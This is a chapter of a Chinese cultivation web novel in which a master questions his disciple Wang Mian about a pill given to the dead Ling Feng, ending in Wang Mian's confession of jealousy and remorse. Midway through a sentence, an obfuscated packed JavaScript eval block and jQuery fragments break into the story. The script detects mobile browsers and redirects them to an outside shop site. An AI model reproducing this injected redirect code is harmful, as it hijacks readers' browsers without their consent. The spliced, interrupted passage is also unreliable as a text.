112. 问心(二)

作品:《天界不出仙

    最直接的法子,便是掘开坟冢,挖出逝者的尸骸,重新检验其体内是否有毒素残留。


    可灵风如今连一捧骨灰都未曾留下,形神俱灭,此法显然行不通。


    那枚刚落下的黑子忽而轻颤,似是被风吹起,轻轻一跳,竟与王勉此刻的翻涌心绪交相呼应。


    连带着那几句“哈哈”古怪笑声都被风卷走,碎于无边黑夜之中。


    九灭指尖夹着一枚白子,却未落下,只是在棋盘边缘轻扣几下。


    “咚咚咚——”几声闷声传入王勉耳膜,却好似在他识海中落下几块巨石,掀起惊天骇浪。


    他顿觉神魂一颤,识海之中传来剧烈痛感,险些昏厥过去。


    “你既说那丹药无毒,”九灭缓缓开口,“可为师了解你,你若真有心赠人至宝,必大张旗鼓,广而告之,好叫众人皆知你王勉仁厚重义,博一个美誉。为何那瓶丹药,你偏偏要私下赠给灵风?”


    王勉脸色瞬变,手指猛地攥紧衣摆,“师父……我……”


    “不必解释,”九灭冷冷打断,终于落子,“继续下棋。”


    王勉没敢抬头,犹豫片刻,指尖凝聚灵力,一枚黑子落下。


    不走旧势,不补残局,竟在棋盘最空旷处另辟蹊径。


    “师父,你可知,这棋局里忌讳什么?不是输,而是明知对方有诈,却还偏要往陷阱里跳。”


    九灭指尖在棋子上来回摩挲,似在思忖落在棋盘哪处。


    “陷阱……陷阱……”


    他低声轻喃,指尖的白子落在棋盘中央,与王勉那枚孤子遥遥相对,隐隐有对峙之势。


    王勉盯着那枚白子,忽然想起自己刚拜入师父门下之时,也是在这座石亭里,因走错一步棋而急红了眼。


    那时九灭并未斥责,而是将王勉的手掌覆在自己掌心之上,引导着他指尖的棋子落向另一处,“棋局同人心,你若总盯着对手的陷阱,反而会忘了自己的生路。”


    如今,王勉被九灭逼入陷阱之中,只得靠自己杀出一条生路。


    九灭的目光没有半分波澜,他淡然道:“你只道我布的是陷阱,可曾想过,那是你最后一线生机?”


    那枚白子在月光下泛起了一层幽光,那小小光影竟隐隐勾勒出灵风的五官轮廓。


    王勉喉头滚动得愈发频繁。


    他忽然想起那日清晨,灵风攥着他的衣袖,声音里满是惊喜,“师兄,这丹药……价值不菲,我都舍不得买,你就这般赠予我了?”


    他那时心中只有源源不断的嫉恨,冷冷侧首回他一句:“若你能在渡劫之时服下,也担得起此丹的价值了。”


    他的指尖不受控制地颤抖起来。


    他以为自己洒脱,实则早已在心中埋下一道无法愈合的伤痕。


    从那以后,他将自己一直锁在静室中,闭门不出,只为不再回想那段往事,逃避深埋心底的愧疚。


    他当时想着,只要灵风死了,哪怕背负这些小小的罪孽,也在所不惜。


    “我不需要你的一线生机!”王勉抬头,眼底布满血丝,“我可以靠我自己拼出一条血路!我不需要依附你们任何人!不需要你们的怜悯,也不需要你们的成全!”


    九灭的目光从棋盘上移开,静静地落在王勉脸上,他眼神里没有怒火,没有失望,如同一片平静的水面。


    “直到今日,你还是如此的固执,如此的执迷不返。”


    他指尖再度落下一枚白子。


    白子落定,不偏不倚,恰好压在黑子唯一的那条生路之上,棋局之势逆转,黑子如被困于笼中,再无出路。


    王勉怔怔望着那枚白子,仿佛被一剑穿心,喉头一甜,竟喷出一口鲜血,洒落在棋盘之上,将数枚棋子染得猩红。


    “你瞒得过外人,却瞒不过我。修道之人,最忌心口不一。你言语闪烁,连眼神都开始躲闪,”九灭起身,衣袖一拂,将棋盘上的血迹抹去,“你的心魔早已生根发芽,若不斩断,迟早会被反噬。按照宗规,应当废去你修为,镇压地牢之中。看在你苦心经营本宗数千年的份上,废去你修为后,你便去为师的空间域里面壁思过吧。”


    王勉仰头望着九灭,双唇颤抖,忽而低笑起来,笑声渐渐变得癫狂,“哈哈哈!……师父!你说我心魔已生?可你曾想过,这心魔是从何而来?都是你!……都是你亲手种下的!”


    他抬手拭去唇边血迹,直勾勾地盯着九灭,“我和灵风同日拜师,同时修道。为何他处处都能得到你的赞许,而我,却永远只能站在阴影里?明明我是大师兄,可旁人眼里,都只有灵风那个刀痴!连洛英师妹……都更倾向于他!不公平!……一切都是因为你们的不公平!我不甘心!我不服!我只想得到众人的认可,我只想做一个有用之人!有何不妥?……有何不妥!!”


    九灭闻言,眼眶微微泛红,终于动容。


    “不公平?偏爱灵风?……你们三人皆是我的亲传弟子,无论是功法还是修炼资源,我从来都是均分三份给你们,灵风有的你也有。你缺的从来不是这些物质,而是一颗安于修道的本心。”


    他凝视着网面扭曲的面容,“你总说我偏心,可你又曾知晓,灵风为了你做过什么?你们初入我门下不久,灵风便独自一人下山,去寻你亲友踪迹。待查清你父母惨死于人牙子之手,而你则是被人牙子掳走贩卖,他怒发冲冠,孤身杀入贼窝,沐血三日,斩尽恶徒,身负重伤归来。他在你的家乡为你父母立下衣冠冢,代你焚香跪拜。此事他未曾向你提起,不过是因为你曾说,你痛恨你家人。”


    王勉笑声戛然而止,脑海中浮现出那一日的场景。


    那日,风雪漫天,灵风浑身是血地倒在他身前,背上一道贯穿伤几乎将他劈成两半,而他当时却只是冷冷瞥了一眼,便转身离去,嘴里还说着“又出去惹事”。


    “你恨他夺你宠爱?”九灭缓缓落座,嗓音破天荒地染上一丝疲惫,“我传你的《太虚诀》是我毕生所悟的至高心法,连灵风都未曾习


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997014|185315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得。可你却让我大失所望,你习此心法却仍心存嫉妒,意念纷杂,何谈悟道?”


    王勉呼吸急促起来,终于支撑不住,跪倒在地,双手捂脸,指缝见溢出压抑的呜咽声。


    九灭闭上眼,轻叹一声,“我太懂你了。你以为,只要够强,就能得到所有人的认可。”


    “不是么……”王勉喃喃,“宗内弟子见到我无一不是躬身行礼,恭敬唤我一声‘宗主’。即便是在外头行走,只要亮明身份,也总有人趋炎附势、奉承巴结。”


    “可他们是真心的吗?”默然良久的石离九终于开口,语气中透着一抹沉重,“宗门弟子敬畏你只因你的地位,外人巴结你只因想从你身上得到些许益处,只有师父和我和灵风师兄始终将你视作家人。”


    “家人……”王勉痛苦地闭上双眼眸,眼尾淌下两行清泪。


    “你可知我为何执意要让你当这宗门?”九灭凝视王勉的目光中多了几分柔和,“你从小流落在外,孤苦无依,受尽委屈和冷眼,心中所求便是能够自保。我收你为徒,见你聪颖过人,机变无双,便知你有担当之资。我授你宗主之位,不是要你成为高高在上的统治者,而是希望你不再将自己的内心继续锁在牢笼里,而是主动走出来,成为灵风和洛英的依靠,共同守卫这个‘家’……可你呢?”


    王勉倚在廊柱上,身躯微微颤抖,仿佛被抽去了全身力量。


    良久,他微微抬头,脸上泪痕已干,可双眸仍是通红。


    “家人……家人……”他不断重复,“究竟怎样才算是家人?”


    他又笑了,不再癫狂,只是带着酸涩,笑中带苦,这一瞬,多年束之于高阁的自尊心彻底融化。


    “原来我错了,一切都错了……我曾以为,只要我站得越高,你们就会多看我一眼,像看灵风那样,带着欣慰和骄傲。可我错了……我一直在往上爬,可离你们却愈发远了。”


    他撑起神奇,摇摇晃晃站起,目光扫过九灭苍老地面容,扫过石离九沉默的侧影,最终望向远方。


    那个方向埋着灵风的一把残刀,他的墓碑孤零零地立于山巅。


    他忽然咳出一口淤血,染红了前襟。


    “师父,”王勉双膝跪地,重重叩首,额头触地发出“咚咚”闷响,“弟子错得太久,无法挽回。还请师父赐我一死!”


    九灭并未去看伏地的王勉,只是仰首望天,残月如钩,寒星数点,他心中那片故土好像一点一点变得荒芜。


    “赐你一死?”石离九攥紧拳头,猛地站起身,大步迈向王勉,“你死了,灵风师兄就能回归吗?我徒儿洛丝亭和温言就能苏醒过来吗?”


    她一手狠狠揪住王勉的前襟,“我要你活着!我要你跪在灵风师兄坟冢前,日日诵经,夜夜忏悔!我要你永世活在这无尽的愧疚之中,用余生去赎罪!”


    九灭的目光终于落王勉苍白的面容之上,“阿英,松手,我还有话要问他。”


    石离九松开手,后退一步。